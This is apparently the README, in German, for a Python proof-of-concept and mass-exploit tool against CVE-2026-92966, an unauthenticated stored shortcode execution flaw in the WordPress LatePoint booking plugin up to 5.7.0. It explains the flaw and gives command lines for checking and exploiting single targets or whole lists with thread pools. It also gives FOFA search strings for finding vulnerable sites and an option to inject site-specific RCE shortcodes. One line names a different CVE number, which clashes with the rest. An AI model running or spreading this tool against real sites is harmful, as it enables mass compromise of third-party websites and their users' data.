
Python-PoC- und Massen-Exploit-Tool für CVE-2026-92966, eine unauthentifizierte gespeicherte Shortcode-Ausführung in WordPress LatePoint ≤5.7.0 über Buchungsnamensfelder.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-92966 |
| Produkt | LatePoint — Terminbuchung |
| Betroffen | ≤ 5.7.0 |
| Behoben | 5.7.1 |
| CWE | CWE-94 — Code-Injection (Shortcode-Ausführung) |
| CVSS 3.1 | 9.1 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| Finder | hashiramasenju333 |
| PoCbit-Katalog | https://pocbit.org/pocs/ |
| PoCbit-Seite | https://pocbit.org/pocs/cve-2026-92966 |
| Verifizierungsmarker | POCBIT-92966-OK |
| Advisory | Wordfence Threat Intel |
Python-PoC abgestimmt auf CVE-2026-102425: standardmäßig Massen-Exploit, --check, -u, --lab, Thread-Pool, hits.txt / exploited.txt. Kein API-Schlüssel — vollständig nicht authentifiziertes Einschleusen über den öffentlichen Buchungsablauf.
WordPress LatePoint ermöglicht anonymen Besuchern, Termine zu buchen. Vorname / Nachname des Kunden werden nur mit sanitize_text_field() gespeichert — eckige Klammern werden nicht entfernt, sodass Werte wie [caption]…[/caption] erhalten bleiben.
Wenn die Website den Gutenberg-Block Customer Cabinet rendert (render_customer_dashboard() → [latepoint_customer_dashboard]), gibt das Dashboard-Template den Kundennamen innerhalb von HTML aus (Welcome %s mit esc_html($customer->full_name)). esc_html kodiert [ oder ] nicht, sodass shortcode-ähnliche Payloads in der Blockausgabe überleben.
WordPress führt dann do_shortcode auf the_content mit Priorität 11 aus. Da 5.7.0 rohes Dashboard-HTML vom Shortcode-Handler zurückgab, wurden gespeicherte Shortcodes in der Willkommenszeile ein zweites Mal geparst und ausgeführt. 5.7.1 behebt dies durch encode_shortcode_delimiters() auf die Dashboard-Ausgabe (siehe Kommentar in shortcodes_helper.php: „the_content runs do_shortcode at priority 11").
Auswirkung: nicht authentifizierte beliebige Shortcode-Ausführung. Das ist für sich genommen nicht immer sofortige OS-RCE, aber auf einem typischen WordPress-Stack verkettet es sich mit kritischen Plugins (Formulare, Builder, Dateimanager, eval-gestützte Shortcodes). Der PoC belegt die Ausführung mit dem Core-Shortcode [caption] und optional POCBIT_EXEC_SHORTCODE für seitenspezifische RCE-Gadgets.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (oder last_name) auf eine Shortcode-Payload.do_shortcode-Durchlauf wird ausgelöst.Referenzen im Vendor-Quellcode (5.7.0):
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field bei Namenlib/views/customer_cabinet/dashboard.php — Willkommenszeile mit full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| Datei | Zweck |
|---|---|
poc.py | CLI, interaktives Menü, Mass-Exploit |
_engine.py | Versionsprüfung, Buchungs-Plant-Versuch, Dashboard-Trigger, Lab |
up.php | Optionale Probe-Datei, falls Ihr RCE-Shortcode Dateien ablegt |
targets.example.txt | URL-Liste für Bulk |
extract-5.7.0/ / extract-5.7.1/ | Vendor-Verzeichnisse für Diff (optional) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
Fingerprint: readme.txt Stable tag, LatePoint-Frontend-Hinweise (latepoint-book-form, latepoint_helper), Version ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
Wenn das Ziel einen gefährlichen Shortcode hat (Dateimanager usw.):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
Oder: python poc.py -u URL --exec-shortcode "[shortcode]"
Die Standard-Sonde verwendet den WordPress-Core-[caption]POCBIT-92966-OK[/caption] (es sind keine zusätzlichen Plugins erforderlich, um die Ausführung zu belegen).
python poc.py --lab
Bindet 127.0.0.1:8797, simuliert readme 5.7.0, bucht eine Anlage und führt do_shortcode doppelt auf dem Dashboard-HTML aus. Erwartet "exploited": true.
| Status | Bedeutung |
|---|---|
affected | Version ≤ 5.7.0 (Prüfmodus) |
exploited | Marker nach Buchungsassistent + eingeloggter Customer-Cabinet-Seite |
plant_no_auth_cookie | Name platziert, aber kein Kunden-/WP-Login-Cookie von admin-ajax |
plant_missing_service_id | Buchungsassistent hat keine öffentlichen Dienste zur Auswahl |
plant_otp_required / plant_auth_blocked | Kundenschritt durch OTP oder Login-Richtlinie blockiert |
no_customer_cabinet_page | Sitzung OK, aber keine [latepoint_customer_dashboard]-Seite gefunden |
shortcode_not_triggered | Platzierung + Sitzung OK; Cabinet geladen, aber Marker nicht ausgeführt |
patched_skip | ≥ 5.7.1 |
no_latepoint | Plugin nicht erkannt |
FOFA-/Suchbeispiele:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
Die Erfolgsrate des Exploits hängt ab von: Buchungsassistent ohne Zahlung erreichbar, Customer-Cabinet-Block veröffentlicht, Gast-Session nach der Buchung.
[ in customer[first_name] / last_name bei latepoint_route_call blockieren — nur vorübergehend.Nur autorisierte Tests.
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966